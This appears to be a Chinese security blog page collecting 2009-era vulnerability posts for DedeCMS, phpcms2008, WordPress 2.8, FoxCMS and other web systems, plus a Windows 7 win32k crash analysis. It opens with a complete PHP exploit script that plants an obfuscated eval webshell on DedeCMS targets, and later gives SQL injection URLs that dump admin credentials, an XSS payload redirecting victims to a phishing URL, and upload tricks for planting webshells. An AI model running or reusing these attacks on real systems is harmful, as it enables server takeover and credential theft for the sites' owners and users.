来源于互联网,具体作者不详。看到好久了,一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个,先发一下记录。有空分析,官方已修补。。

执行成功会在data/cache下生成t.php一句话小马
密码x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
 
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
 
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
 
if(substr($content,9,3)=='200'){
    echo "\nShell Address is:".$host.$path.$shell;
}else{
    echo "\nError.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
 
}
function post_send($url,$cmd){
 
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>

睛天电影系统 0DAY

作者:st0p & My5t3ry
转载请注明出处http://www.st0p.org

唉,和My5t3ry搞出的洞,联系了官方管理员,一直没人理我。

首先说注入问题

漏洞文件为/p_inc/hits_order.asp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!--#include file="../p_inc/config.asp"-->
<!--#include file="../p_inc/function.asp"-->
<!--#include file="../p_inc/function_func.asp"-->
<!--#include file="../p_inc/openconn.asp"-->
<!--#include file="../p_inc/G_function.asp"-->
<%
IF Not ChkPost() Then
	response.Redirect G_error_page_1
	response.End()
End IF
'这里调用了/p_inc/function.asp文件中ChkPost()函数检测来源网址
Function G_hitss(url,numb)
	Dim str
	str=""
	sql="select top "&numb&" id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1   order by  m_hits desc,id desc"
            '看到了没numb没有过滤
	Set rs=server.CreateObject(G_RS)
	rs.open sql,conn,1,1
	i=1
	Do While Not rs.Eof 
		d_url=url_(Array("d",rs(0),url))
		str=str&"<div class=kkk1_list><a class=bbb href="&d_url&" title='主演:"&rs(2)&"'>"&Get_length(rs(1),"",32)&"</a> ("&rs(3)&")</div>"
		i=i+1
		rs.movenext
	Loop
	G_hitss=str
End Function
%>
document.write("<%=G_hitss(request("url"),request("numb"))%>")
'这里的numb也没有过滤

利用方法如
1、可以直接用软件伪造Referer后,访问如下地址实现
2、通过XMLHTTP实现伪造Referer,访问如下地址实现

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,

注:只要跳过去Referer的检测,就可以通过POST,GET,COOKIE的各种方式来实现注入了。。。

访问以下内容后,管理员用户名在网址的链接中,密码HASH直接显示出来了。。

破解密码HASH,因为后台可以直接编辑ASP文件,进入后台拿SHELL就行了。

这程序还有别的漏洞。这里就不发了。。

DEDECMS 小说连载模块 0DAY

作者:st0p
可以转载,不过请注明出处http://www.st0p.org

由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块

首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
< ?php
......
if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') "; 
//变量$catid不为0时,就直接把$catid给$addquery了,没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证
$query = "
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>

上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了
Read the rest of this entry

DEDECMS XDAY

作者:st0p
在此记录一下,嘿嘿,这个洞可是杰少偶们两发现的哦。。。相当YD吧,而且还帮我找到了两个ROOT权限。。
此漏洞为st0p和杰少发现,版权没有,欢迎转载!
为啥叫XDAY不叫0DAY呢,因为这个洞比较乱,涵盖的版本比较多,但却用处不大,相当鸡肋,不过利用好了还是有点效果的。。

正无聊时发现YD的杰少发来消息,说他发现了DEDECMS一个很鸡肋的东西,include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台。
看到消息后我脑子里就有了个YD的想法,会不会官方也存在,然后马上打开http://www.dedecms.com/include/dialog/select_soft.php,可惜的是官方会提示你输入后理目录,不会转向。如图1
dedecms-xday1
失望啊,不过在和杰少的聊天中得知安全中国存在这个问题,于是打开http://www.anqn.com/include/dialog/select_soft.php,果然转向了,如图2
dedecms-xday2
看到没,后台地址是article_6565998um9)-_这个,标题栏是delphi V53_1_GBK,DELPHI成文章系统了。。下面去还有织梦的图片。。。。
既然存在,赶快去官方下载了最新的DedeCMS V5.5正式版,DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本,然后本地架设起来,分别对select_soft.php文件分析了一下,让我发现了更有趣的东西。
首先咱们看DedeCmsV5.1FreeSP1这个版本吧,关键代码如下
include/dialog/select_soft.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
< ?php 
require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入
 
if(empty($activepath)) $activepath = "";
 
$activepath = str_replace("..","",$activepath); //过滤了..但没过滤.
$activepath = ereg_replace("^/{1,}","/",$activepath);
if(strlen($activepath)<strlen($cfg_soft_dir)){ 
	$activepath = $cfg_soft_dir;
}
//如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir,系统默认为/uploads/soft
//注意看这里,如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了,$cfg_soft_dir存在于include/config_base.php
 
$inpath = $cfg_basedir.$activepath; 
$activeurl = "..".$activepath;
if(empty($f)) $f="form1.enclosure";
 
if(empty($comeback)) $comeback = "";
 
?>

Read the rest of this entry

From:vul.kr

It had been published that wordpress 2.8 All version are suffering from Xss,attackers can use this to do fishing,they make a wordpress login page as it is your own.If you don’t take care,your password will be sent to the attacker’s website.With your password,they can edit pages and upload webshell.It is harmful.

How is the attacker do this?
they insert website url like this(in the comments write place):

http://www.st0p.org’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

If someone(or administrator) moved his mouse on the author’s website.It will jump to another URL,which is a fishing page.

How can we patch it?Edit wp-comments-post.php go line 40 and then add:

1
2
3
$comment_author_url = str_replace(chr(39),,$comment_author_url);
$comment_author_url = str_replace(chr(59),,$comment_author_url);
$comment_author_url = str_replace(chr(44),,$comment_author_url);

风讯 4.0 SP7 getshell 0day

发现者:bloodsword、bink,转载请无视
影响版本:<=4.0 sp7,前面的版本没去看,估计也能日。
利用条件,开启了文件上传功能,iis6环境。

漏洞描述:建立目录的地方,名称过滤上有失误,导致可以绕过过滤建立一个.asp目录
首先注册个账号访问http://www.bbb.com/User/CommPages/FolderImageList.asp?f_UserNumber=06150583700&Type=AddFolder&Path=/userfiles/06150583700/aaa.asp//&CurrPath=/userfiles/06150583700
其中这个06150583700是你的userid,登录了直接可以看到,建立一个.asp目录

因为风讯浏览目录的地方也过滤了.,所以建立的子目录进不去。本地构造表单:

1
2
3
4
5
6
7
8
<form name="FileForm" method="post" enctype="multipart/form-data" action="http://www.bbb.com/User/Commpages/UpFileSave.asp?Path=/userfiles/06150583700/aaa.asp">
    <input type="hidden" name="AutoReName" value="2"><br>
    <input type="hidden" name="Path" value="/userfiles/06150583700/aaa.asp">
    <input type="file" size="20" name="File1">
    <input type="hidden" name="FilesNum" value="1">
    <input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 ">
    <input type="reset" id="ResetForm" name="Submit3" value=" 重 填 ">
</form>

传个夹带一句话的图片上去
恶心的地方来了,传上去的文件名是日期+时间+5位随机数(可能是4位3位2位1位,反正最大5位),这个我跟bink研究了半天,没有

办法看到-_-,用管中窥豹有个暴力猜接上传路径的功能,先在正常目录里上传个文件,卡一下本地跟远程的时间差,然后传到.asp

目录里,把秒数误差控制在3秒以内,开始跑吧~~然后自己该干嘛干嘛去,RP过关的话几个小时内应该能出结果-_-

1,upload/upload_image.asp、Mutiupload_image.asp。从cookie中取得userid,放在session中,作为path。
ASP/Visual Basic代码

1. loadsrc="/UploadFile/"&Request.Cookies("UserID")&"/" '如果网站不是放在跟目录下,请在/UploadFile前加上你存放的目录名,如放在wodig文件夹,就在前面加上/wodig 注意最前面要有/
2. Session("uppath")=loadsrc

2,upload/upfile_image.asp、mutiUpfile_image.asp上传文件取得session中的path,作为路径上传文件。
ASP/Visual Basic代码

1. filepath = Session("uppath") '属性,上传前文件所在的路径
还好j8hacker服务器做过可写目录不可执行配置,逃过一劫,上传的shell没有被执行,没有变成黑客留言本。

后来搜索这个漏洞,好像没有被人爆过,那也许就是0day了。。。

在官方下了最新版本,果然同样存在该漏洞。并且2个上传文件均采用这种方式(都有漏洞)。

游戏进行到此目前已经爆了2个0day,都是直接拿shell的。

漏洞详细利用方式如下:

----------------------------------------------------------

来到

http://www.hack-game.cn/upload/upload_image.asp?formname=form&ImgSrc=src_img_2&editname=src_img

页面,修改cookie中的UserId字段值为kxlzx.asp

刷新该页面(一定要刷一下,为了让userid写入session)

上传shell,shell要改名为gif文件。

上传后,看源文件,发现路径为

uploadfile/kxlzx.asp/sXXXXXXXXXXX.gif

转自:http://www.inbreak.net/show-138-1.html

作者:MJ0011 2009.05.13

感谢:Iceboy发现此问题并提供DUMP

漏洞厂商及产品:Microsoft Windows 7 rc 7100 090421

存在漏洞组件:win32k.sys Timestamp :49ee8dc8

存在漏洞函数:NtUserGetDc/NtUserGetDcEx

漏洞描述:Win32k.sys是WINDOWS的GDI驱动程序,包含大量复杂的图形界面处理,由于其中大量代码是从WIN3.1中修改过来,因此成了WINDOWS漏洞多发之地。

这个漏洞主要是因为Windows 7 在其NtUserGetDc/NtUserGetDcEx函数中(也许不仅仅是这两个函数)不正确地使用了共享临界锁,导致了任何权限下的GDI程序可以引发内核BSOD,从而进行DOS攻击

漏洞分析:

在WINDOWS VISTA中,在这两个函数进入前,会调用UserEnterUserCirtSec,进入临界区,同时会将gptiCurrent设置为当前线程的WIN32THREAD

UserEnterUserCritSec的实现如下:

PWIN32THREAD UserEnterUserCritSec()
{

PWIN32THREAD pwin32Thread;

pwin32Thread = ExEnterPriorityRegionAndAcquireResourceExclusive(gpresUser);
gptiCurrent = pwin32Thread;
gbValidateHandleForIL = 1;
return pwin32Thread;
} Read the rest of this entry

phpcms2008GBK双字节编码0day

作者:幻泉[B.S.N]受影响程序: phpcms2008 gbk

漏洞文件:ask/search_ajax.php
漏洞等级:高
漏洞说明:
/ask/search_ajax.php

if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//没做过滤直接感染了$where
}
else
{
exit('null');
}
$infos = $ask-&gt;listinfo($where, 'askid DESC', '', 10);
 
/ask/include/answer.class.php
 
PHP代码
function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this-&gt;db-&gt;get_one("SELECT count(*) as number FROM $this-&gt;table_posts $where");
$number = $r['number'];
$this-&gt;pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this-&gt;db-&gt;query("SELECT * FROM $this-&gt;table_posts $where $order $limit");
while($r = $this-&gt;db-&gt;fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this-&gt;number = $this-&gt;db-&gt;num_rows($result);
$this-&gt;db-&gt;free_result($result);
return $array;
}

测试方法:
/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23